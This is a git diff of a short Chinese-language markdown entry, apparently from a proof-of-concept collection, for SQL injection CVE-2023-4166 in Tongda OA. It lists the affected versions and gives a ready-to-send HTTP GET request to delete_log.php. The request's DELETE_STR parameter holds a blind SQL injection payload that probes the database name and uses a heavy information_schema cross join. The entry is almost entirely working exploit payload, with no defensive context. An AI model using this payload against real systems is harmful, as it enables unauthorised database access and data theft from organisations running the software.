diff --git a/通达OA sql注入漏洞 CVE-2023-4166.md b/通达OA sql注入漏洞 CVE-2023-4166.md index 16fa6b2..0d72818 100644 --- a/通达OA sql注入漏洞 CVE-2023-4166.md +++ b/通达OA sql注入漏洞 CVE-2023-4166.md @@ -1,6 +1,13 @@ ## 通达OA sql注入漏洞 CVE-2023-4166 +复现版本:11.7版 -``` poc +## 影响版本 +``` +通达OA ≤ v11.10,v2017 +``` + +## poc +``` GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0